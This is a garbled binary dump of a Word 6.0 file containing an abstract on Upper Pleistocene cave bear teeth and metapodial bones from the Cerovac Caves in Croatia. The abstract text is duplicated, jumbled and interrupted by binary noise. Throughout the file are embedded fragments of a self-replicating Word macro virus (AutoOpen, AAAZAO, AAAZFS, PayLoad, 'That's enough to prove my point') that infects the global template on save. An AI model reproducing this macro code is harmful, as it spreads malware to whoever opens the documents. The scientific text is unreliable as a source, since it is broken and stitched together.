ࡱ; Root Entry Fc4CompObjbWordDocument UObjectPoolQCQC 4@   6 >789:;<=?@EFGHIJKLMSummaryInformation(  FMicrosoft Word 6.0 Document MSWordDocWord.Document.6;  Oh+'0 D h   @d +YC:\MSOFFICE\WINWORD\NORMAL.DOT'UPPER PLEISTOCENE BEARS FROM CEROVAKEmm@5C@0;_@)>|@ Microsoft Word 6.06rklec & Maja Paunovi Institute of Quaternary Paleontology and Geology , Croatian Academy of Sciences and Arts, 10000 Zagreb,terLPT1 ,,P P P O c hccVc&'E9KRY +06<\a!",0bdglw~  ./    >   N O P cr@ALMcd)]^_d->Sn{&'&'E4!7L!Y757:. ( * > 7J 7p 7 ;. 7 <.0 7; 77o 7 7 7 77777 7 =.5 7 7 E >.@. 7 E.PAQAF.o77U.=7HV.7z..$/R7{%/4/I5/R:/?/@/E/J/q//////7E7^jTimes New Roman Symbol &ArialTimes New Roman CEMultinational ExtGreek Symbols&Arial Cyr  h&f&&fV>| '!<&UPPER PLEISTOCENE BEARS FROM CEROVAKEmmࡱܥe3 EekU'&&IIIIITJITJTJTJTJdJ TJTnJJJJJJJJJKKK.KQMNeUTU< OIJJJJJ OJIIJnJJJJJIJIJJIIIIIIJJJBJUpper Pleistocene Bears from Cerovake caves( Mt. Velebit, Croatia) by Gordana JambreiADVANCE \u3 ADVANCE \d3, Nevenka Krklec & Maja Paunovi Institute of Quaternary Paleontology and Geology , Croatian Academy of Sciences and Arts, 10000 Zagreb, Knowing the sex dimorphism of bears, two groups have been extracted as two clusters: a group of higher values represented the population of mails, while a group of lower values represented the population of females. The metapodials from Cerovake Caves were compared to those from Vindija Cave based on minimal and maximal values of metapodial length. Comparison was bounded to metapodials lengths because this value has been statistically proved to be most valid for the analysis. Minimal values of metapodial lengths for Mc1, Mc2, Mt1, Mt2, Mt3 are similar to values for Vindija complex IJ, Mc3, Mc4, and Mt5, including values for Vindija complex EF, and Mc5 and Mt4 for Vindija complex GH. The maximum length values Mc1, Mc2, Mt1, Mt2 i Mt5 are similar to those for IJ Vindija complex, Mc3, Mc4 for KLM complex, Mc5 for GH complex, while the values Mt3 are smaller, and Mt4 larger than the values for all Vindija complexes. The results of absolute dating of Vindija complexes are the following: KLM ~ 136.000, IJ has no data, GH ~ 40.000, EF ~ 18.000 years. These results can therefore be explained with an assumption that the fossiliferous layer c in CerovaFke peDine has been deposited through a much longer time period than it could be assumed from the result of radiocarbon dating, and that the fossil bears are not just from W_rm 3 stadia, as assumed so far, but also from Lower to Upper last Glacial. The other possible assumption is that in defferent tafodems bears have been podloni to variable evolution of dentals and also metapodial bones which sufer maximum load and are podlobu to fast changes. Namely, the location of Cerovake peine indicates on different paleoclimatic conditions and different paleovegetation than those in Vindija. In the areas of high alpine and mountainous regions with mean winter temperature being several degrees centigrade lower that in lowlands, and much more snowfalls, various ecosystems have established, namely various climatic conditions initiated growth of various types of vegetation which has influenced the evolution of bears and their dentals. Regarding the alpine vegetation (crnogorine ume s refugijama bjelogorice) which bears from CerovaFke peDine have been eating, it possibly caoused the later and incomplete molarization which is not the case for a typical representative of the species Ursus spelaeus from the lowland late Wurm glacial. .AdiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiil A. Kovaia 5, Croatia The Upper Pleistocene fauna found in the Cerovake Caves in Lika near Graac, on the southern part of the Velebit Mountain, is characterized by domination of fossil cave bear remains, making up to 98%. All the material has been collected in a single layer (c) of brown clay over half meter thick, lying benith a floatstone plate. The radiocarbon dating, performed on a bone covered with calc-tufa?flowstone (Z-321), determined the age of the layer c being over 40.000 years (layer c has so far been attributed to W3 stadial). Discrepance between the absolute and relative dating of the particular layer gave reason for morpfometrical and morpfogenetical analyzes of the most numerous fossil remains: teeth and metapodial bones of the species Ursus spelaeus. They can, nevertheless, be considered as guide-elements/fossils for particular time intervals of the last glacial, due to their very fast microevolutionary changes previously noticed and analyzed on the material from the Vindija cave. Eacl jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$h tooth was analyzed morphometricaly and morphogeneticaly. Morphometrical analysis of 555 teeth is based on measuring the length and width of a tooth. The length ratio of premolar-molar series have been analyzed based on mean values in relation of length values typical for species Ursus spelaeus (Heinroth & Rosenm.). The lenght values of teeth from CerovaFke peDine showed similarity with the length values of teeth form the caves Ramesch, Herdengeh_hle, and especially to values for KLM complex of the Vindija cave. The highest similarity of length valuesis for M2 i M1, and the highest discrepancy is visible for P4 i M1. Descrepance of P4 i M2 values for Cerovake peina and KLM complex of Vindija is about 2%, while M3 shows great similarity to values for KLM complex of the caves Vindija, Ramesch and Herdengeh_hle. Morphogenetical analysis is based on determination of morphotypes expressed by change of main elements of a tooth crown, which indicate primitive forms that have been also found in KLM complex in the Vindija cave, Ramesch cave as well as in older deposits of Herdenglehhle and Zoolitenhhle. The morphodynamic analysis based on the morphogentical schemes and the appearance frequency of particular morphotypes yielded very good results. Morphodynamic indices have been calculated for P4 and P4. According to the position of the intersection of these two values the age for layer c from Cerovake Caves is assumed to be approximately 70.000 ybp -probably middle last Glacial The total of 393 metapodial bones have been studied by metrical analysis. Data have been processed by statistical software NTSYS-ps (Rohlf, 1992), CSS-Statistica 1.0 (Complete Statistical System, Statsoft Inc., 1993) and QuatroPro 4.0 (Borland International Inc., 1992). Descriptive statistics and multivariate cluster analysis have been applied. The populations of mails and females have been treated separately in statistical analysis. The method of K-means clustering was applied, the method dominantly different from the other known methods.ount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad isRoot Entry FȗYa!CompObjbWordDocument(MObjectPoolQCQC 4@ 6"$%&')*+,-./ 12345A789:;<=0BCD#SummaryInformation(  FMicrosoft Word 6.0 Document MSWordDocWord.Document.6;  Oh+'0 D h   @d C:\MSOFFICE\WINWORD\NORMAL.DOT'UPPER PLEISTOCENE BEARS FROM CEROVAKEmm@5C@0;_@Sa>|@O Microsoft Word 6.05WIN CLN -!;#DMOUSE INI H/!<#SYSTEM BAK K/!=#~ GMOUSE INI b ># d,,HP DeskJet 690C Series PrinterLPT1 ,,HP DeskJet 690C Series Printer7DV d,,HP DeskJet 690C Series PrinterLPT1 ,,&&&&c hccVch&'E9KRY +06<\a!",0bdglw~  ./    >   cr@ALMcd)]^_d->Sn{&'&'E4!7L!Y757:. ( * > 7J 7p 7 ;. 7 <.0 7; 77o 7 7 7 77777 7 =.5 7 7 E >.@. 7 E.F.o77U.=7HV.7z..$/R7{%/4/I5/R:/?/@/E/J/q//////7E7^jTimes New Roman Symbol &ArialTimes New Roman CEMultinational ExtGreek Symbols&Arial Cyr  h&f&f&fS>| '!<&UPPER PLEISTOCENE BEARS FROM CEROVAKEmmࡱ; ܥe3 5ekM'&&AAAAABBBBBBB BLBBBBBBBBBCCC.CoE G;MTM<'GABBBBB'GBAABBBBBBABABBAAAAAABBB+BUpper Pleistocene Bears from Cerovake caves( Mt. Velebit, Croatia) by Gordana JambreiADVANCE \u3 ADVANCE \d3, Nevenka Krklec & Maja Paunovi Institute of Quaternary Paleontology and Geology , Croatian Academy of Sciences and Arts, 10000 Zagreb, A. Kovaia 5, Croatia The Upper Pleistocene fauna found in the Cerovake Caves in Lika near Graac, on the southern part of the Velebit Mountain, is characterized by domination of fossil cave bear remains, making up to 98%. All the material has been collected in a single layer (c) of brown clay over half meter thick, lying benith a floatstone plate. The radiocarbon dating, performed on a bone covered with calc-tufa?flowstone (Z-321), determined the age of the layer c being over 40.000 years (layer c has so far been attributed to W3 stadial). Discrepance between the absolute and relative dating of the particular layer gave reason for morpfometrical and morpfogenetical analyzes of the most numerous fossil remains: teeth and metapodial bones of the species Ursus spelaeus. They can, nevertheless, be considered as guide-elements/fossils for particular time intervals of the last glacial, due to their very fast microevolutionary changes previously noticed and analyzed on the material from the Vindija cave. Each tooth was analyzed morphometricaly and morphogeneticaly. Morphometrical analysis of 555 teeth is based on measuring the length and width of a tooth. The length ratio of premolar-molar series have been analyzed based on mean values in relation of length values typical for species Ursus spelaeus (Heinroth & Rosenm.). The lenght values of teeth from CerovaFke peDine showed similarity with the length values of teeth form the caves Ramesch, Herdengeh_hle, and especially to values for KLM complex of the Vindija cave. The highest similarity of length valuesis for M2 i M1, and the highest discrepancy is visible for P4 i M1. Descrepance of P4 i M2 values for Cerovake peina and KLM complex of Vindija is about 2%, while M3 shows great similarity to values for KLM complex of the caves Vindija, Ramesch and Herdengeh_hle. Morphogenetical analysis is based on determination of morphotypes expressed by change of main elements of a tooth crown, which indicate primitive forms that have been also found in KLM complex in the Vindija cave, Ramesch cave as well as in older deposits of Herdenglehhle and Zoolitenhhle. The morphodynamic analysis based on the morphogentical schemes and the appearance frequency of particular morphotypes yielded very good results. Morphodynamic indices have been calculated for P4 and P4. According to the position of the intersection of these two values the age for layer c from Cerovake Caves is assumed to be approximately 70.000 ybp -probably middle last Glacial The total of 393 metapodial bones have been studied by metrical analysis. Data have been processed by statistical software NTSYS-ps (Rohlf, 1992), CSS-Statistica 1.0 (Complete Statistical System, Statsoft Inc., 1993) and QuatroPro 4.0 (Borland International Inc., 1992). Descriptive statistics and multivariate cluster analysis have been applied. The populations of mails and females have been treated separately in statistical analysis. The method of K-means clustering was applied, the method dominantly different from the other known methods.ount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortdbeneathDiscrepancyClengthCavescC and andDiscrepancyand Cerovake CavescCC andCavesldeferentCaves(U.V.z..$/%/4/5/:/?/@/E/J/q///////777777777777777777777777777777:AJ]a c ]a ch ]a ch ]a cu ]a cJ]a c3.AdiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacroj:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortdeter thick, lying benith a flow.AEWXZ[fghituf g l m 8 : = > ? @ l n q r ! " ( ) >?hijk4!S!&:.;.<.=.>.@.E.F.U.J]a cu ]a c ]a ch ]a ch]a  V]a c ]a cuD]a c]a uD]a  ]a c ]a c Z]a cE'EF jkp p p p p p p p p  p p p :p h& p@ P h& p@ P h& p@ P  K@Normala "A@"Default Paragraph Font&@Footnote ReferencediMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortds( (- i.e. s are similar to(last Glacial. The other possibility microevolutionary processes influenced changes in morphology as well as in material values of teeth and matapodials of the cave bear populations in different surroundings. of Velebit Mt.Clsiusbeen .Thesehave (mostly conifers with microrefuges of deciduous trees) differences in subsistence possibly caused the later and incomplete .AdiMAINdR,-*iAbortdRi iMacroC just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortdbeneathDiscrepancyClengthCavescC and andDiscrepancyand Cerovake CavescCC andCavesldeferentCaves(U.V.z..$/%/4/5/:/?/@/E/J/q///////777777777777777777777777777777:AAAIJ]a c ]a ch ]a ch ]a cu ]a cJ]a c6.AdiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortd':  $ ''EF &'p p p p p p p p p  p p p 0p vU.AkZfht'TT+mA:\VELENJE3.DOCmC:\GOGA\VELENJE3.DOCU C:UE<UG1>UG>)AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@HP DeskJet 690C Series PrinterLPT1:HPFDJC05HP DeskJet 690C Series Printer7DV$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortddiMAINdk3this becomes the FileSaveAs for the global templated/idlg4gTd,-*ibaild>idlgd?idlgdidlgs lidlgs ldisMe$ g%disTMacro$ isMe$j :AutoOpendg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdg€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdg€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddg€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount glldRksee if we're already installeddR#ii l$i iMacroCountdogiill jPayLoaddoi bInstalled ldodogiill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance ggMj WW6InfectordoisMe$ g%doisMacro$ isMe$j:Payloaddog€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdog€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdog€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdog€isMacro$j Global:AAAZAOdogFjWW6Igi iWW6IInstanceldog+gi iWW6IInstanceldReAbortdee.A'A  $ ''EF &'p p p p p p p p p  p p p 0p vU.IkZfht'TTBmA:\VELENJE3.DOCmC:\GOGA\VELENJE3.DOCmC:\GOGA\VELENJE3.DOCUMAUPDUfR1}FURF)AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@HP DeskJet 690C Series PrinterLPT1:HPFDJC05HP DeskJet 690C Series Printer7DV d,,HP DeskJet 690C Series PrinterLPT1 ,,HP DeskJet 690C Series Printer7DV d,,HP DeskJet 690C Series Prin